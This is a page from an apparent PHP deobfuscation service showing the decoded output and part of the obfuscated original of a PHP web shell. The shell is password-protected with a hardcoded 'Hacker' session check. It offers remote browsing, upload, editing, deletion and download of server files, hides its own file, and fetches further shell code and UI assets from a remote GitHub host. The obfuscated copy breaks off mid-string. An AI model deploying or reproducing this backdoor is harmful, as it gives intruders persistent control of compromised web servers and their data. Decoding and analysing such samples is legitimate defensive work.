Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
goto EdYDo; hMv9N: function Delete($path) { if (is_dir($path) === true) { $files = array_d..
Decoded Output download
<? goto EdYDo; hMv9N: function Delete($path) { if (is_dir($path) === true) { $files = array_diff(scandir($path), array(".", "..")); foreach ($files as $file) { Delete(realpath($path) . "/" . $file); } rmdir($path); } else { if (is_file($path) === true) { $parts = explode("/", $path); $last = array_pop($parts); $file = array(implode("/", $parts), $last); if ($file[1] != "s.php") { unlink($path); } } } } goto uU6az; cThp4: if (isset($_POST["data"])) { if (!isset($_SESSION["Hacker"])) { $result["success"] = true; $result["data"] = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; } else { if ($_SESSION["Hacker"] != $Hacker) { $result["success"] = true; $result["data"] = "<div class="box"><h1 class="title">File Manager</h1><div class="input" id="password"><div class="icon"><i class="fa-light fa-user-cowboy"></i></div><input type="password" id="input" placeholder=" "><label for="input" id="label">Password</label><span></span></div><div class="button" id="login"><h1>Login Now</h1></div></div>"; } else { $data = $_POST["data"]; if ($data == "Load") { $result["success"] = true; $result["data"] = "<div class="fix"><h1 class="owner">File Manager</h1><div class="newSell"><div class="newSell_title" id="dir">./</div><i id="openSell_btn" class="fa-light fa-square-plus"></i><div class="newSell_btn"> <i id="CreateFile" class="fa-light fa-file-plus"></i><i id="upload" class="fa-light fa-file-arrow-up"></i><i id="CreateFolder" class="fa-light fa-folder-plus"></i><i id="InstallShell" class="fa-light fa-shield-plus"></i><i id="closeSell_btn" class="fa-light fa-rectangle-xmark"></i></div></div></div><div id="folders"></div>"; } else { if ($data == "dir") { $dir = $_POST["dir"]; if ($dir == ".") { $undoDir = $dir . "/../"; if (is_dir($undoDir)) { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir . "">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $openedDir = $dir . "/"; } else { if (checkUndo($dir)) { $undoDir = $dir . "../"; if (is_dir($undoDir)) { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $undoDir . "">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } else { $output = "<div class="flex"><div class="folders" id="openDir" data-dir="" . $dir . "">./</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; } $openedDir = $dir; } else { $parts = explode("/", $dir); $last = array_pop($parts); $undoDir = array(implode("/", $parts), $last); $output = "<div class="flex"><div id="openDir" data-dir="" . $undoDir[0] . "" class="folders">../</div><div class="edit_btn"><i id="openDir" data-dir="." class="fa-light fa-house"></i><i id="openDir" data-dir="" . $dir . "" class="fa-light fa-rotate-left"></i></div></div>"; $openedDir = $dir . "/"; } } $openDir = ''; $titleDir = ''; $explodeDir = explode("/", $openedDir); for ($i = 0; $i < count($explodeDir); $i++) { $openDir = $openDir . $explodeDir[$i]; $ii = $i + 1; if ($ii == count($explodeDir)) { $slash = ''; } else { $slash = "/"; } $titleDir = $titleDir . "<span id="openDir" style="cursor: pointer;" data-dir="" . $openDir . "">" . $explodeDir[$i] . "</span>" . $slash; $openDir = $openDir . $slash; } $folders = scandir($dir); foreach ($folders as $folder) { if ($folder === "." or $folder === ".." or $folder === "s.php") { continue; } else { if (checkUndo($dir)) { $path = $dir . $folder; } else { $path = $dir . "/" . $folder; } if (is_file($path)) { $output .= "<div class="flex"><div class="folders" id="openFile" data-file="" . $path . ""><i class="fa-light fa-file"></i> " . $folder . "</div><div id="openLink" data-path="" . $path . "" class="size">" . file_size($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . Get_Name($path) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="download" data-dir="" . $path . "" class="fa-light fa-download"></i></div></div>"; } else { $output .= "<div class="flex"><div class="folders" id="openDir" data-dir="" . $path . ""><i class="fa-light fa-folder"></i> " . $folder . "</div><div id="openLink" data-path="" . $path . "" class="size">" . folder_size($path) . "</div><div class="edit_btn"> <i id="renameFile" data-dir="" . $path . "" data-name="" . Get_Name($path) . "" class="fa-light fa-pen-to-square"></i><i id="delete" data-dir="" . $path . "" class="fa-light fa-trash"></i><i id="zipDir" data-dir="" . $path . "" class="fa-light fa-file-zipper"></i></div></div>"; } } } $result["success"] = true; $result["data"] = $output; $result["dir"] = $titleDir; } else { if ($data == "zipDir") { $dir = $_POST["dir"]; $zipDir = $_POST["zipDir"]; $parts = explode("/", $zipDir); $last = array_pop($parts); $folder = array(implode("/", $parts), $last); if (checkUndo($dir)) { $zipfile = $dir . $folder[1] . ".zip"; } else { $zipfile = $dir . "/" . $folder[1] . ".zip"; } $rootPath = realpath($zipDir); $zip = new ZipArchive(); $zip->open($zipfile, ZipArchive::CREATE | ZipArchive::OVERWRITE); $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($rootPath), RecursiveIteratorIterator::LEAVES_ONLY); foreach ($files as $name => $file) { if (!$file->isDir()) { $filePath = $file->getRealPath(); $relativePath = substr($filePath, strlen($rootPath) + 1); $zip->addFile($filePath, $relativePath); } } $zip->close(); $result["success"] = true; } else { if ($data == "Delete") { Delete($_POST["Delete"]); $result["success"] = true; } else { if ($data == "Download") { $file = $_POST["filePath"]; header("Content-Description: File Transfer"); header("Content-Type: application/octet-stream"); header("Content-Disposition: attachment; filename=" . basename($file)); header("Content-Transfer-Encoding: binary"); header("Expires: 0"); header("Cache-Control: must-revalidate"); header("Pragma: public"); header("Content-Length: " . filesize($file)); ob_clean(); flush(); readfile($file); die; } else { if ($data == "Rename") { $renameDir = $_POST["renameDir"]; $newName = $_POST["newName"]; $parts = explode("/", $renameDir); $last = array_pop($parts); $dir = array(implode("/", $parts), $last); $newDir = $dir[0] . "/" . $newName; if (is_dir($newDir) === true) { $result["data"] = "2"; } else { if (is_file($newDir) === true) { $result["data"] = "2"; } else { if (rename($renameDir, $newDir)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } } $result["success"] = true; } else { if ($data == "newFile") { $dir = $_POST["dir"]; $newFileName = $_POST["newFileName"]; if (checkUndo($dir)) { $newfile = $dir . $newFileName; } else { $newfile = $dir . "/" . $newFileName; } if (is_file($newfile) === true) { $result["data"] = "2"; } else { if (file_put_contents($newfile, " ")) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "newFolder") { $dir = $_POST["dir"]; $newFolderName = $_POST["newFolderName"]; if (checkUndo($dir)) { $newfolder = $dir . $newFolderName; } else { $newfolder = $dir . "/" . $newFolderName; } if (is_dir($newfolder) === true) { $result["data"] = "2"; } else { if (mkdir($newfolder, 511, true)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "Upload") { $dir = $_POST["dir"]; $fileName = $_POST["fileName"]; if (checkUndo($dir)) { $newfile = $dir . $fileName; } else { $newfile = $dir . "/" . $fileName; } if (is_file($newfile) === true) { $result["data"] = "2"; } else { if (move_uploaded_file($_FILES["file"]["tmp_name"], $newfile)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { if ($data == "Open File") { $file = $_POST["file"]; $mimeType = mime_content_type($file); $type = explode("/", $mimeType); if ($type[0] == "image") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><img src="" . $file . ""></div></div>"; $result["type"] = "image"; } else { if ($type[0] == "video") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><video controls><source src="" . $file . ""></video></div></div>"; $result["type"] = "video"; } else { if ($type[0] == "audio") { $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="viewFileClose" class="fa-light fa-xmark"></i></div></div></div><div class="viewFileData"><audio controls><source src="" . $file . ""></audio></div></div>"; $result["type"] = "video"; } else { if ($type[0] == "text") { if (file_get_contents($file)) { $result["content"] = file_get_contents($file); $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="addNowrap" class="fa-light fa-align-justify"></i><i id="removeNowrap" class="fa-light fa-align-slash"></i><i id="viewFileClose" class="fa-light fa-xmark"></i><i id="viewFileSave" class="fa-light fa-floppy-disk"></i></div></div><input type="hidden" id="viewFileDir" value="" . $file . ""></div></div>"; $result["type"] = "text"; } else { $result["type"] = "Permission Denied"; } } else { if ($type[0] == "application") { if ($type[1] == "octet-stream" or $type[1] == "x-csh" or $type[1] == "java-archive" or $type[1] == "json" or $type[1] == "ld+json" or $type[1] == "x-httpd-php") { if (file_get_contents($file)) { $result["content"] = file_get_contents($file); $result["data"] = "<div class="viewFile"><div class="viewFileTitle"><div class="newSell"><div class="newSell_title">" . basename($file) . "</div><div class="newFile_btn"><i id="addNowrap" class="fa-light fa-align-justify"></i><i id="removeNowrap" class="fa-light fa-align-slash"></i><i id="viewFileClose" class="fa-light fa-xmark"></i><i id="viewFileSave" class="fa-light fa-floppy-disk"></i></div></div><input type="hidden" id="viewFileDir" value="" . $file . ""></div></div>"; $result["type"] = "text"; } else { $result["type"] = "Permission Denied"; } } else { if ($type[1] == "zip") { $result["data"] = $file; $result["type"] = "zip"; } else { $result["type"] = $mimeType; } } } else { $result["type"] = $mimeType; } } } } } $result["success"] = true; } else { if ($data == "Update File") { $fileCode = $_POST["fileCode"]; $fileDir = $_POST["fileDir"]; if (file_put_contents($fileDir, $fileCode)) { $result["data"] = "1"; } else { $result["data"] = "2"; } $result["success"] = true; } else { if ($data == "Unzip File") { $file = $_POST["file"]; $path = pathinfo(realpath($file), PATHINFO_DIRNAME); $zip = new ZipArchive(); $res = $zip->open($file); if ($res === true) { $zip->extractTo($path); $zip->close(); $result["data"] = true; } else { $result["data"] = false; } $result["success"] = true; } else { if ($data == "autoInstall") { $dir = $_POST["dir"]; $autoInstall = explode("|SHELL|", getDecode($_POST["autoInstall"])); if (checkUndo($dir)) { $installfile = $dir . $autoInstall[0]; } else { $installfile = $dir . "/" . $autoInstall[0]; } if (is_file($installfile) === true) { $result["data"] = "2"; } else { $installContent = getContent($autoInstall[1]); if ($installContent == '') { $result["data"] = "4"; } else { if (file_put_contents($installfile, $installContent)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } } $result["success"] = true; } else { if ($data == "Uninstall") { $uninstallContent = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/uninstall/uninstall.php"); if ($uninstallContent == '') { $result["data"] = "2"; } else { if (file_put_contents("s.php", $uninstallContent)) { $result["data"] = "1"; } else { $result["data"] = "3"; } } $result["success"] = true; } else { $result["success"] = false; } } } } } } } } } } } } } } } } echo json_encode($result); die; } else { if (isset($_POST["login"])) { $login = $_POST["login"]; if ($login == $Hacker) { $_SESSION["Hacker"] = $Hacker; $result["success"] = true; } else { $result["success"] = false; $result["data"] = "Wrong Password!"; } echo json_encode($result); die; } else { $index = getContent("https://github.com/samiulalim1/shell/raw/main/html/v1/index.html"); $style = getContent("https://raw.githubusercontent.com/samiulalim1/shell/main/style/v1/style1.css"); $script = getContent("https://github.com/samiulalim1/shell/raw/main/script/v1/script.js"); echo str_replace("|SCRIPT|", $script, str_replace("|STYLE|", $style, $index)); } } goto Hnnzg; zsBOj: function file_size($file) { $size = filesize($file); return format_size($size); } goto kloa9; uU6az: function Get_Name($path) { $parts = explode("/", $path); $last = array_pop($parts); $file = array(implode("/", $parts), $last); return $file[1]; } goto V1hNy; ATgEx: function folder_size($folder) { $size = 0; $files = scandir($folder); foreach ($files as $file) { if ($file === "." or $file === "..") { continue; } else { $path = $folder . "/" . $file; if (is_file($path)) { $size = $size + filesize($path); } else { $size = $size + folder_files($path); } } } return format_size($size); } goto zsBOj; V1hNy: function getDecode($encode) { $key = "SamiulAlim"; $chiper = "AES-128-CTR"; $iv = hex2bin("2c269a65037c190f4994f11c0f1e37c0"); return openssl_decrypt($encode, $chiper, $key, 0, $iv); } goto L5TgI; kloa9: function checkUndo($dir) { $parts = explode(".", $dir); $last = array_pop($parts); $undoDir = array(implode("/", $parts), $last); if ($undoDir[1] == "/") { return true; } else { return false; } } goto hMv9N; icnS2: error_reporting(0); goto LOiAd; nkEhB: function format_size($size) { if ($size >= 1073741824) { $size = number_format($size / 1073741824, 2) . " GB"; } else { if ($size >= 1048576) { $size = number_format($size / 1048576, 2) . " MB"; } else { if ($size >= 1024) { $size = number_format($size / 1024, 2) . " KB"; } else { if ($size > 1) { $size = $size . " bytes"; } else { if ($size == 1) { $size = $size . " byte"; } else { $size = "0 bytes"; } } } } } return $size; } goto Pe5FZ; L5TgI: function getContent($url) { $context = stream_context_create(array("http" => array("header" => "User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.102 Safari/537.36"))); return $result = file_get_contents($url, false, $context); } goto cThp4; LOiAd: $Hacker = "Zx"; goto nkEhB; Pe5FZ: function folder_files($folder) { $size = 0; $files = scandir($folder); foreach ($files as $file) { if ($file === "." or $file === "..") { continue; } else { $path = $folder . "/" . $file; if (is_file($path)) { $size = $size + filesize($path); } else { $size = $size + folder_files($path); } } } return $size; } goto ATgEx; EdYDo: session_start(); goto icnS2; Hnnzg: ?>
Did this file decode correctly?
Original Code
goto EdYDo; hMv9N: function Delete($path) { if (is_dir($path) === true) { $files = array_diff(scandir($path), array("\x2e", "\56\x2e")); foreach ($files as $file) { Delete(realpath($path) . "\57" . $file); } rmdir($path); } else { if (is_file($path) === true) { $parts = explode("\57", $path); $last = array_pop($parts); $file = array(implode("\x2f", $parts), $last); if ($file[1] != "\163\56\x70\150\x70") { unlink($path); } } } } goto uU6az; cThp4: if (isset($_POST["\x64\141\x74\141"])) { if (!isset($_SESSION["\x48\141\143\153\145\x72"])) { $result["\163\165\143\x63\145\163\163"] = true; $result["\144\141\164\x61"] = "\x3c\144\151\166\x20\x63\x6c\x61\163\x73\x3d\x22\142\x6f\170\42\76\74\x68\61\x20\x63\x6c\141\x73\x73\x3d\42\164\151\164\x6c\x65\x22\76\x46\x69\154\145\x20\x4d\141\x6e\x61\147\145\x72\74\x2f\150\61\x3e\x3c\144\151\166\40\143\154\x61\163\163\75\42\x69\x6e\160\165\164\42\40\151\x64\75\x22\x70\x61\x73\163\x77\x6f\162\x64\42\x3e\x3c\144\x69\166\40\143\154\141\x73\163\x3d\x22\151\143\157\x6e\x22\76\74\x69\40\x63\154\141\163\163\x3d\x22\146\x61\55\154\x69\147\150\164\40\146\141\x2d\x75\163\145\162\55\143\x6f\167\142\x6f\171\42\76\74\57\x69\76\x3c\57\144\x69\x76\76\x3c\x69\x6e\160\x75\x74\40\x74\171\160\x65\75\x22\160\x61\163\x73\x77\157\x72\144\x22\40\x69\x64\x3d\42\x69\156\160\x75\x74\x22\x20\160\154\141\x63\x65\x68\157\x6c\144\x65\162\x3d\x22\40\x22\76\74\154\x61\142\x65\154\x20\x66\157\x72\x3d\x22\x69\156\x70\165\164\42\40\151\x64\75\x22\x6c\141\x62\x65\x6c\x22\76\120\141\163\x73\x77\x6f\162\x64\74\57\154\x61\142\145\x6c\x3e\x3c\163\x70\x61\x6e\x3e\74\57\163\x70\x61\156\76\x3c\x2f\144\x69\166\76\74\144\151\x76\40\143\154\141\x73\x73\x3d\x22\142\x75\x74\x74\x6f\156\x22\40\x69\x64\75\42\x6c\x6f\147\151\156\42\x3e\x3c\150\x31\x3e\114\x6f\x67\x69\156\x20\x4e\157\x77\74\57\x68\x31\x3e\x3c\x2f\144\x69\166\76\x3c\57\x64\x69\x76\76"; } else { if ($_SESSION["\x48\141\x63\x6b\145\162"] != $Hacker) { $result["\163\x75\x63\143\x65\x73\163"] = true; $result["\144\141\x74\x61"] = "\x3c\x64\151\x76\40\x63\x6c\x61\x73\x73\75\x22\142\x6f\170\x22\76\x3c\x68\61\40\x63\x6c\x61\x73\163\x3d\42\x74\151\164\154\145\x22\76\106\x69\x6c\145\40\115\141\x6e\x61\x67\x65\162\x3c\x2f\x68\x31\76\x3c\144\x69\x76\x20\143\x6c\x61\163\163\75\42\151\x6e\x70\x75\164\x22\40\x69\x64\75\x22\x70\141\x73\x73\167\x6f\162\144\x22\76\x3c\x64\x69\166\40\143\x6c\x61\x73\x73\x3d\42\151\143\x6f\156\42\x3e\74\x69\x20\x63\154\141\x73\x73\75\42\146\141\x2d\x6c\151\147\150\x74\40\146\x61\x2d\x75\163\x65\162\x2d\x63\x6f\167\142\x6f\x79\x22\x3e\74\x2f\x69\76\74\x2f\x64\151\x76\x3e\74\x69\x6e\x70\165\x74\40\164\x79\x70\145\x3d\42\160\x61\163\163\167\x6f\x72\x64\x22\40\x69\144\75\42\151\156\x70\x75\x74\42\x20\x70\x6c\x61\143\x65\150\157\154\x64\145\162\75\42\x20\x22\x3e\x3c\x6c\x61\x62\145\154\x20\x66\157\162\75\x22\x69\x6e\x70\x75\164\42\x20\x69\144\75\x22\154\141\x62\x65\x6c\42\x3e\120\x61\163\163\x77\157\x72\x64\74\57\154\x61\142\145\x6c\x3e\74\x73\x70\141\x6e\x3e\x3c\57\163\x70\x61\156\76\74\57\x64\x69\x76\x3e\x3c\144\151\x76\x20\x63\154\x61\163\x73\x3d\x22\x62\x75\x74\164\x6f\156\42\40\x69\144\x3d\x22\x6c\157\x67\x69\x6e\x22\x3e\x3c\x68\61\76\x4c\157\147\x69\156\40\116\x6f\167\x3c\57\x68\x31\x3e\x3c\x2f\x64\151\x76\76\74\57\x64\x69\166\x3e"; } else { $data = $_POST["\x64\x61\164\141"]; if ($data == "\x4c\157\141\x64") { $result["\x73\x75\x63\x63\x65\x73\163"] = true; $result["\144\141\164\x61"] = "\x3c\144\151\166\x20\x63\x6c\x61\163\163\75\x22\146\x69\x78\42\x3e\74\150\x31\40\143\154\x61\163\x73\x3d\x22\x6f\167\156\145\162\42\x3e\x46\151\x6c\145\x20\115\141\x6e\141\147\x65\x72\74\x2f\150\x31\76\74\144\151\166\x20\143\x6c\141\x73\x73\x3d\x22\156\145\167\x53\x65\x6c\154\42\76\x3c\144\x69\166\40\143\154\141\163\163\75\x22\x6e\x65\167\x53\145\154\154\x5f\x74\151\x74\x6c\145\x22\x20\151\x64\75\x22\x64\x69\162\x22\76\56\57\74\x2f\144\151\166\76\74\151\x20\151\x64\x3d\x22\x6f\x70\145\156\123\145\x6c\x6c\x5f\x62\164\156\42\x20\143\154\x61\163\x73\75\42\146\x61\x2d\x6c\151\x67\150\x74\x20\x66\141\55\x73\x71\x75\141\162\x65\x2d\x70\154\x75\x73\42\x3e\74\x2f\x69\x3e\x3c\144\x69\166\40\x63\x6c\141\163\163\x3d\42\x6e\x65\x77\x53\145\x6c\154\x5f\x62\164\x6e\42\x3e\x20\x3c\x69\x20\x69\144\x3d\x22\103\x72\x65\x61\x74\145\x46\x69\x6c\145\42\40\143\154\141\x73\163\x3d\x22\146\x61\x2d\154\151\x67\x68\164\x20\x66\141\x2d\146\x69\x6c\145\x2d\160\x6c\x75\x73\x22\x3e\x3c\x2f\x69\76\74\x69\40\x69\x64\75\x22\165\160\x6c\157\141\x64\x22\x20\x63\154\141\163\x73\x3d\42\146\141\x2d\x6c\151\x67\x68\164\x20\x66\x61\55\146\151\154\145\x2d\141\x72\x72\x6f\x77\x2d\165\160\x22\76\x3c\x2f\151\x3e\74\151\x20\151\144\75\42\x43\162\x65\141\x74\x65\x46\157\x6c\144\145\x72\x22\x20\143\x6c\141\x73\x73\75\x22\146\141\x2d\x6c\x69\147\150\164\40\x66\x61\x2d\x66\x6f\154\144\x65\x72\55\160\154\x75\x73\x22\x3e\x3c\x2f\x69\76\x3c\x69\x20\151\x64\75\42\111\156\x73\164\141\154\x6c\x53\x68\x65\154\x6c\42\40\143\154\141\163\x73\75\x22\x66\x61\x2d\154\151\x67\150\x74\40\x66\x61\55\163\x68\151\x65\154\x64\55\x70\154\165\163\x22\76\x3c\x2f\151\x3e\74\x69\40\x69\144\75\x22\143\x6c\157\163\145\x53\145\154\154\137\x62\x74\156\42\40\x63\x6c\x61\163\163\x3d\42\146\141\55\154\x69\x67\150\x74\x20\x66\141\x2d\x72\145\143\164\141\x6e\147\x6c\145\55\x78\155\141\162\x6b\42\76\74\x2f\151\76\74\x2f\144\x69\x76\76\74\x2f\144\151\166\x3e\74\x2f\x64\151\x76\x3e\x3c\x64\x69\166\x20\151\x64\75\42\146\x6f\x6c\x64\145\x72\163\42\x3e\x3c\x2f\144\151\x76\x3e"; } else { if ($data == "\x64\x69\x72") { $dir = $_POST["\x64\x69\162"]; if ($dir == "\x2e") { $undoDir = $dir . "\57\56\56\57"; if (is_dir($undoDir)) { $output = "\74\144\151\166\x20\143\x6c\141\163\x73\75\x22\x66\154\145\x78\42\x3e\74\144\x69\x76\x20\x63\x6c\141\x73\x73\75\x22\146\x6f\x6c\x64\145\162\x73\42\40\x69\x64\75\x22\x6f\x70\145\156\x44\x69\x72\42\40\144\x61\164\141\55\144\151\162\x3d\x22" . $undoDir . "\42\76\56\x2e\57\74\x2f\x64\151\166\x3e\x3c\x64\x69\x76\40\143\x6c\x61\163\x73\75\42\145\x64\151\x74\x5f\x62\164\156\x22\76\74\151\40\x69\x64\75\x22\x6f\160\x65\156\x44\x69\x72\42\40\x64\x61\164\x61\x2d\144\151\162\75\x22\56\42\40\x63\x6c\x61\163\x73\75\x22\146\141\x2d\154\x69\x67\x68\164\40\146\141\x2d\150\x6f\x75\163\145\42\x3e\74\x2f\x69\76\x3c\x69\x20\x69\144\x3d\x22\157\160\x65\156\104\151\162\x22\x20\x64\141\x74\x61\x2d\x64\x69\x72\x3d\x22" . $dir . "\x22\x20\x63\x6c\x61\163\163\75\x22\146\x61\55\154\x69\147\150\x74\x20\x66\x61\55\x72\157\x74\x61\164\x65\x2d\154\x65\x66\164\42\x3e\74\57\x69\x3e\x3c\x2f\x64\151\166\76\74\57\x64\x69\166\76"; } else { $output = "\x3c\144\151\x76\x20\x63\x6c\141\x73\x73\75\x22\x66\154\x65\170\x22\x3e\74\144\x69\166\40\x63\x6c\141\163\163\x3d\x22\x66\x6f\x6c\x64\x65\162\x73\42\40\151\144\75\42\x6f\x70\145\x6e\x44\151\x72\42\40\144\141\x74\x61\x2d\144\151\x72\x3d\42" . $dir . "\x22\x3e\x2e\x2f\x3c\57\x64\151\166\76\74\x64\151\x76\40\x63\x6c\141\x73\x73\x3d\x22\145\144\x69\164\x5f\142\164\156\x22\76\x3c\151\40\x69\144\x3d\x22\x6f\160\x65\156\104\x69\162\42\40\x64\x61\164\x61\55\x64\x69\162\x3d\42\56\42\x20\143\x6c\x61\x73\x73\75\42\146\141\x2d\154\151\x67\150\x74\40\146\x61\55\x68\157\x75\163\145\42\x3e\74\57\151\76\x3c\x69\40\x69\144\x3d\x22\x6f\x70\145\156\104\x69\x72\42\40\x64\x61\164\141\x2d\x64\151\162\75\42" . $dir . "\42\40\143\154\141\163\x73\75\42\x66\141\x2d\x6c\151\x67\150\x74\x20\x66\141\x2d\x72\x6f\164\141\164\145\x2d\x6c\x65\x66\164\x22\x3e\74\57\151\76\x3c\x2f\144\x69\x76\x3e\x3c\x2f\144\151\x76\x3e"; } $openedDir = $dir . "\57"; } else { if (checkUndo($dir)) { $undoDir = $dir . "\56\x2e\57"; if (is_dir($undoDir)) { $output = "\74\144\x69\x76\40\x63\154\141\x73\163\x3d\42\146\154\145\x78\x22\x3e\74\x64\x69\x76\40\143\154\141\x73\163\x3d\42\146\x6f\154\144\x65\x72\x73\x22\40\x69\144\75\x22\x6f\160\x65\156\x44\x69\162\42\40\x64\x61\164\141\55\144\151\162\75\42" . $undoDir . "\x22\76\56\56\57\74\x2f\144\151\x76\76\x3c\144\151\166\40\x63\x6c\141\163\163\75\42\145\x64\151\164\x5f\142\x74\x6e\x22\x3e\x3c\x69\x20\151\144\x3d\x22\157\160\145\156\104\151\x72\42\40\x64\141\x74\141\55\x64\x69\x72\75\42\56\x22\x20\x63\x6c\141\163\x73\x3d\x22\x66\141\55\154\x69\x67\150\x74\x20\146\141\x2d\150\157\x75\x73\x65\42\x3e\x3c\x2f\x69\x3e\74\x69\x20\x69\x64\x3d\x22\x6f\160\x65\x6e\104\151\162\42\40\144\x61\x74\x61\x2d\x64\x69\162\x3d\42" . $dir . "\x22\x20\x63\154\141\x73\163\x3d\x22\x66\141\55\154\x69\147\x68\x74\x20\x66\141\x2d\162\x6f\x74\141\x74\x65\55\154\x65\146\x74\42\76\74\x2f\x69\76\x3c\57\x64\151\x76\76\x3c\x2f\x64\151\x76\x3e"; } else { $output = "\74\x64\x69\x76\x20\x63\x6c\x61\x73\163\75\42\x66\x6c\145\170\x22\76\74\144\x69\166\x20\143\154\x61\x73\163\75\x22\146\157\x6c\144\145\x72\x73\42\40\x69\144\x3d\x22\x6f\160\x65\156\104\151\162\42\40\x64\141\x74\141\55\144\x69\162\x3d\42" . $dir . "\42\76\x2e\57\x3c\57\x64\151\166\x3e\x3c\x64\x69\166\40\x63\154\x61\x73\163\x3d\42\x65\x64\151\x74\x5f\x62\x74\156\42\x3e\74\x69\40\151\x64\x3d\x22\x6f\160\x65\x6e\x44\151\x72\42\40\x64\x61\x74\x61\x2d\144\x69\x72\x3d\42\56\42\x20\143\x6c\141\x73\163\75\x22\146\141\x2d\154\x69\x67\x68\164\x20\x66\141\x2d\x68\x6f\x75\163\145\42\76\x3c\x2f\x69\76\x3c\151\x20\x69\144\x3d\x22\157\160\x65\156\x44\151\x72\42\x20\144\x61\x74\x61\55\x64\x69\162\x3d\42" . $dir . "\42\40\143\x6c\141\163\163\75\x22\x66\141\x2d\x6c\x69\x67\x68\164\40\x66\141\x2d\x72\157\x74\x61\164\x65\x2d\154\x65\146\164\42\76\x3c\x2f\151\76\74\57\144\151\166\x3e\x3c\57\x64\x69\166\76"; } $openedDir = $dir; } else { $parts = explode("\57", $dir); $last = array_pop($parts); $undoDir = array(implode("\57", $parts), $last); $output = "\x3c\x64\x69\x76\40\x63\154\x61\163\x73\x3d\x22\146\x6c\145\170\x22\x3e\x3c\x64\151\166\x20\151\144\75\x22\x6f\x70\145\x6e\104\x69\162\x22\40\x64\141\x74\x61\x2d\144\x69\162\75\x22" . $undoDir[0] . "\x22\40\143\154\x61\x73\163\x3d\x22\146\x6f\x6c\144\x65\162\x73\x22\76\x2e\56\57\x3c\57\144\151\x76\76\74\x64\151\166\40\x63\x6c\x61\x73\163\x3d\x22\x65\144\151\x74\x5f\142\x74\x6e\x22\76\74\151\40\151\144\x3d\x22\x6f\x70\145\x6e\104\151\162\x22\40\144\141\164\x61\55\144\x69\162\x3d\x22\56\x22\x20\143\x6c\x61\x73\x73\x3d\x22\x66\x61\x2d\154\151\x67\x68\x74\40\146\x61\x2d\x68\x6f\x75\163\145\42\76\x3c\57\151\76\x3c\151\x20\151\144\75\x22\x6f\160\x65\156\x44\151\162\x22\40\144\141\164\141\55\144\151\162\x3d\42" . $dir . "\42\x20\143\154\x61\x73\x73\75\42\146\141\x2d\154\x69\147\x68\x74\40\146\141\x2d\162\x6f\x74\x61\164\x65\x2d\154\x65\146\x74\42\x3e\x3c\57\151\x3e\74\x2f\x64\151\x76\x3e\x3c\57\144\x69\166\x3e"; $openedDir = $dir . "\x2f"; } } $openDir = ''; $titleDir = ''; $explodeDir = explode("\57", $openedDir); for ($i = 0; $i < count($explodeDir); $i++) { $openDir = $openDir . $explodeDir[$i]; $ii = $i + 1; if ($ii == count($explodeDir)) { $slash = ''; } else { $slash = "\57"; } $titleDir = $titleDir . "\74\163\x70\141\156\x20\x69\x64\x3d\x22\157\160\x65\x6e\104\x69\x72\42\x20\x73\164\171\154\x65\75\x22\x63\x75\x72\x73\x6f\x72\x3a\40\160\157\x69\x6e\164\145\x72\73\x22\x20\x64\141\164\x61\x2d\x64\151\162\x3d\x22" . $openDir . "\x22\x3e" . $explodeDir[$i] . "\x3c\57\163\160\141\156\76" . $slash; $openDir = $openDir . $slash; } $folders = scandir($dir); foreach ($folders as $folder) { if ($folder === "\x2e" or $folder === "\x2e\x2e" or $folder === "\163\x2e\x70\150\160") { continue; } else { if (checkUndo($dir)) { $path = $dir . $folder; } else { $path = $dir . "\57" . $folder; } if (is_file($path)) { $output .= "\74\144\151\x76\x20\143\x6c\141\163\x73\x3d\x22\146\x6c\145\170\42\76\x3c\144\x69\x76\40\143\154\x61\x73\163\75\x22\146\x6f\154\x64\x65\162\163\42\40\151\x64\75\x22\x6f\160\x65\x6e\x46\x69\154\145\x22\40\144\x61\x74\141\x2d\146\x69\154\x65\75\x22" . $path . 